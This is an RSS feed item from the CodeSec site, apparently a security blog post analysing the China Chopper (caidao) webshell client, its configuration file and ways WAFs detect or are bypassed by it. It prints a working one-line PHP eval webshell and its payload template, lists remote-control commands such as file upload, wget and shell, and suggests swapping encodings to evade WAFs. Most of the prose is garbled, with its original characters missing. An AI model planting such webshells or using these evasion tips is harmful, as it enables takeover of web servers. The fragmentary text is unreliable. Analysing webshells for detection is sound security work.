PHP Decode

<?xml version="1.0" encoding="gbk" ?> 
<rss version="2.0"> 
    <channel> 
        <title> - CodeSec</title> 
        <link>http://www.codesec.net/feed_11.xml</link> 
        <description></description> 
        <copyright>Copyright(C) CodeSec.Net</copyright> 
        <generator>CodeSec.Net by CodeSecTeam.</generator> 
        <lastBuildDate>Thu, 28 Jul 2016 11:33:03 +0000</lastBuildDate> 
        <ttl>30</ttl> 
        <image> 
            <url>http://www.codesec.net//static/image/common/logo.png</url> 
            <title>CodeSec.Net</title> 
            <link>http://www.codesec.net/</link> 
        </image> 
        <item> 
            <title>20160620</title> 
            <link>http://www.codesec.net/view/431367.html</link> 
            <description> 
                <![CDATA[<p>617:</p> 
<p> waf webshell </p> 
<p> 6 </p> 
<p> 6  20  maicaidao.com  660 +</p> 
<br/><img src="http://www.codesec.net/app_attach/201606/21/20160621_267_431367_0.jpg" alt="20160620" /><br/> 
<p></p> 
<p>SPDDoS</p> 
<p>whois(20141213)</p> 
<br/><img src="http://www.codesec.net/app_attach/201606/21/20160621_267_431367_1.jpg" alt="20160620" /><br/> 
<p>www.maicaidao.com</p> 
<p>www.maicaidao.com</p> 
<p> readme.txt</p> 
 
<p>caidao.exe </p> 
<p>db.mdb </p> 
<p>caidao.conf </p> 
<p>cache.tmp ()</p> 
<p>readme.txt ()</p> 
<p>ip.dat IPIP()</p> 
<p>CCC ()</p> 
<p>Customize ()</p> 
<p> caidao.conf waf</p> 
<p> waf  waf</p> 
<p>1.  waf  webshell ( waf)</p> 
<p>2.  waf</p> 
<p>3.  waf waf  web </p> 
<p> webshell  AntSword(),  nodejs  ES6  Altman C++  github Java  webshell  Cknife</p> 
<p> caidao.conf </p> 
<br/><img src="http://www.codesec.net/app_attach/201606/21/20160621_267_431367_2.png" alt="20160620" /><br/> 
caidao.conf 
<p> waf </p> 
<p>1. &lt;FLAG&gt;</p> 
<p> -&gt;|  |&lt;-,  waf  ~&gt;$</p> 
<p>2. &lt;UA&gt;</p> 
<p> HTTP  User-Agent  caidao.conf  UA  UA,  Google </p> 
<p>3. &lt;K1&gt;  &lt;K2&gt;</p> 
<p>POST, K1  z1K2  z2waf </p> 
<p>4. &lt;<a href="http://www.codesec.net/list/4/" target="_blank">php</a>_BASE&gt;, &lt;ASP_BASE&gt;, &lt;ASPX_BASE&gt;, &lt;PHP_BASE.&gt;</p> 
<p>4 webshell </p> 
<p> webshell </p> 
&lt;?php @eval(base64_decode($_POST['caidao']));?&gt; 
<p></p> 
&lt;PHP_BASE.&gt;eval(base64_decode($_POST[id]));&amp;id=%s&lt;/PHP_BASE.&gt; 
<p> waf waf </p> 
<p> base64_decode  hex,  AES, DES waf  waf </p> 
<p>5. &lt;GETBASEINFO&gt;</p> 
<p> shell, </p> 
<p>6. &lt;SHOWFOLDER&gt;</p> 
<p></p> 
<p>7. &lt;SHOWTXTFILE&gt;</p> 
<p></p> 
<p>8. &lt;SAVETXTFILE&gt;</p> 
<p></p> 
<p>9. &lt;DELETEFILE&gt;</p> 
<p></p> 
<p>10. &lt;DOWNFILE&gt;</p> 
<p></p> 
<p>11. &lt;UPLOADFILE&gt;</p> 
<p></p> 
<p>12. &lt;PASTEFILE&gt;</p> 
<p></p> 
<p>13. &lt;NEWFOLDER&gt;</p> 
<p></p> 
<p>14. &lt;WGET&gt;</p> 
<p></p> 
<p>15. &lt;SHELL&gt;</p> 
<p></p> 
<p></p> 
 WAF 
<p> WAF </p> 
<p> WAF </p> 
<p>1.  waf</p> 
<p> waf base64 base64 ,  Request,  &lt;PHP_BASE&gt;  waf  WAF  xxx </p> 
<p>2.hook waf</p> 
<p> PHP  eval, create_function, preg_replace, assert  string  API compile_string</p> 
<p> waf  hook  API,  API